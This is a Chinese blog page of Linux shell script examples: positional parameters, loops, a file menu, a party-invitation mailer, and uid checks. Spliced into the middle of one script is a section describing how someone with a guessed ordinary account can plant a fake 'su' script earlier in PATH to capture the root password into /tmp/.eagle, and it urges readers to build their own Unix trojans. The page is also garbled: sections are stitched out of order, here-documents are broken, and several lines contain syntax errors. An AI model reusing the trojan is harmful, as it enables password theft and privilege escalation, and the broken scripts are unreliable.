linux下的脚本实例,linux 下 shell 脚本实例

本文提供了多个Shell脚本实例,涵盖了命令参数解析、循环、条件判断、文件操作以及邮件通知等功能。这些脚本展示了Shell脚本在系统管理和自动化任务中的应用,包括模拟用户输入、权限提升的潜在风险以及编写简单的邀请函程序。通过这些实例,读者可以深入理解Shell脚本的编程技巧和安全注意事项。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#! /bin/sh

echo "Current command is $0"

echo "The first parameter is $1"

echo "The second parameter is $2"

echo "The third parameter is $3"

echo "Total of parameters if $#"

echo "Current PID is $$"

#!/bin/bash

times=0

until [ "$times" = 3 ];

do

echo "I love linux."

sleep 2

times=`expr $times + 1`

done

#!/bin/bash

# menu shell script.    samli     2004.4.19

until

echo "List Directory..........1"

echo "Change Directory........2"

echo "Edit File...............3"

echo "Remove File.............4"

echo "Exit Menu...............5"

read choice

test $choice = 5

do

case $choice in

1) ls;;

2) echo "enter target directory:"

read dir

cd $dir

;;

3) echo "enter file name:"

read file

vi $file

;;

4) echo "enter file name:"

read file

rm $file

;;

5) echo "Goodbye"

;;

*) echo "illegal option, please input again."

esac

done

#! /bin/sh

var1="abcd   efg"

echo $var1

var2=1234

echo "The value of var2 is $var2"

echo   $HOME

echo   $PATH

echo   $PWD

#! /bin/sh

num=0

while [ $num -le 10 ]

do

num=`expr $num + 1`

if [ $num -eq 5 ]

then

continue

fi

square=`expr $num \* $num`

echo $square

done

#!/bin/bash

# Gnu bash versions 2.x

# The Party Program--Invitations to friends from the

# "guest" file

guestfile=./guests   #   ~/shell/guests

if [[ ! -e "$guestfile" ]]

then

printf "${guestfile##*/} non-existent"

exit 1

fi

shell脚本实例

shell是unix里的很强大的外壳命令解释器,它同时也是一个编译器,shell脚本语言也是强大的编程语言。

我以一个很简单的小伎俩来说明shell在入侵中的作用,呵呵。假设我们有一个系统的普通帐号(它可能是你通过猜密码,或脆弱密码得来的),利用su程序得到管理员密码,呵呵,就是通过一个简单的脚本实现。

我们知道,在unix系统中,命令的路径信息一般保存在环境变量PATH中。如果/usr/local/bin目录和/bin目录中各有一个su命令,在PATH变量中,第一个目录在前面,第二个目录在后面,此时执行不带路径的su命令(一般的管理员都会su而不会/bin/su,如果真有这么细心的管理员,那你就用别的方法了),将启动同名的非系统su命令,而不是系统管理员需要的系统su命令,那第一个su就是我写的脚本,也可以说是一个“特洛伊”。

好,切入正题!我写一个脚本,名称是su,我把它放到/usr/local/bin目录中,以下是脚本内容。

#! /bin/sh

stty-echo

echo -n "Password:"

read PASSWD

stty echo

echo

echo "Sorry"

echo "$1/$2:$PASSWD">>/tmp/.eagle

呵呵,懂了?其实有很多网友都问我有没有unix下的木马啊后门程序什么的,呵呵,我是说不出来,看,上面不就是吗?unix的木马就要靠你对系统和shell的熟悉,自己创造,对自己水平的挑战,怎么样?比当个冰河难吧?但你真能学到东西。

export PLACE="Sarotini's"

(( Time=$(date +%H) + 1 ))

set cheese crackers shrimp drinks "hot dogs" sandwiches

for person in $(cat $guestfile)

do

if   [[ $person = root ]]

then

continue

else

# Start of here document

mail -v -s "Party" $person

Hi ${person}! Please join me at $PLACE for a party!

Meet me at $Time o'clock.

I'll bring the ice cream. Would you please bring $1

and anything else you would like to eat? Let me know

if you can't make it.

Hope to see you soon.

Your pal,

ellie@$(hostname)

FINIS

shift

if (( $# ==   0 ))

then

set cheese crackers shrimp drinks "hot dogs" sandwiches

fi

fi

done

printf "Bye..."

#!/bin/sh

# Standard AT&T Bourne Shell

# The Party Program--Invitations to friends from the

# "guest" file

guestfile=./guests # /home/ellie/shell/guests

if [ ! -f "$guestfile" ]

then

echo "慴asename $guestfile?non-existent"

exit 1

fi

PLACE="Sarotini's"

export PLACE

Time=`date +%H`

Time=`expr $Time + 1`

set cheese crackers shrimp drinks "hot dogs" sandwiches

for person in $(cat $guestfile)

do

if   [ $person = root ]]

then

continue

else

# Start of here document

mail -v -s "Party" $person

Hi $person! Please join me at $PLACE for a party!

Meet me at $Time o'clock.

I'll bring the ice cream. Would you please bring $1

and anything else you would like to eat? Let me know

if you can't                                make it.

Hope to see you soon.

Your pal,

ellie@`hostname`

FINIS

shift

if [ $# -eq   0 ]

then

set cheese crackers shrimp drinks "hot dogs" sandwiches

fi

fi

done

echo "Bye..."

#!/bin/sh

# Scriptname: args

# Script to test command line arguments

echo The name of this script is $0.

echo The arguments are $*.

echo The first argument is $1.

echo The second argument is $2.

echo The number of arguments is $#.

oldargs=$*

set Jake Nicky Scott                    # reset the positional parameters

echo All the positional parameters are $*.

echo The number of postional parameters is $#.

echo "Good~Vbye for now, $1 "

set $(date)                       #   reset the positional parameters

echo The date is $2 $3, $6.

echo "The value of \$oldargs is $oldargs."

set $oldargs

echo $1 $2 $3

# Name: bigfiles

# Purpose: Use the find command to find any files in the root

# partition that have not been modified within the past n (any

# number within 30 days) days and are larger than 20 blocks

# (512 byte blocks)

if (( $# != 2 )) #   or     [ $# -ne 2 ]

then

echo   "Usage: $0 mdays size " 1>&2

exit 1

fi

if (( $1 0 || $1 > 30 )) #   or   [ $1 -lt 0 -o $1 -gt 30 ]

then

echo "mdays is out of range"

exit 2

fi

if (( $2 # or   [ $2 -le 20 ]

then

echo "size is out of range"

exit 3

fi

find / -xdev -mtime $1 -size +$2

#!/bin/bash

# Scriptname: checker

# Script to demonstrate the use of special variable

# modifiers and arguments

name=${1:?"requires an argument" }

echo Hello $name

#!/bin/bash

# This is the first Bash shell program of the day.

# Scriptname: greetings

# Written by:   Barbara Bashful

echo "Hello $LOGNAME, it's nice talking to you."

echo "Your present working directory is `pwd`."

echo "You are working on a machine called `uname -n`."

echo "Here is a list of your files."

ls    # list files in the present working directory

echo   "Bye for now $LOGNAME. The time is `date +%T`!"

#!/bin/bash

# Scriptname: greetings2

echo "This script is called $0."

echo   "$0   $1 and $2"

echo "The number of positional parameters is $#"

#!/bin/bash

# Scriptname: idcheck

# purpose:check user id to see if user is root.

# Only root has a uid of 0.

# Format for id output:uid=9496(ellie) gid=40 groups=40

# root's uid=0

id=`id | gawk -F'[=(]'   '{print $2}'`     # get user id

echo your user id is:   $id

if   (( id == 0 )) # or [ $id -eq 0 ]

then

echo "you are superuser."

else

echo "you are not superuser."

fi

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值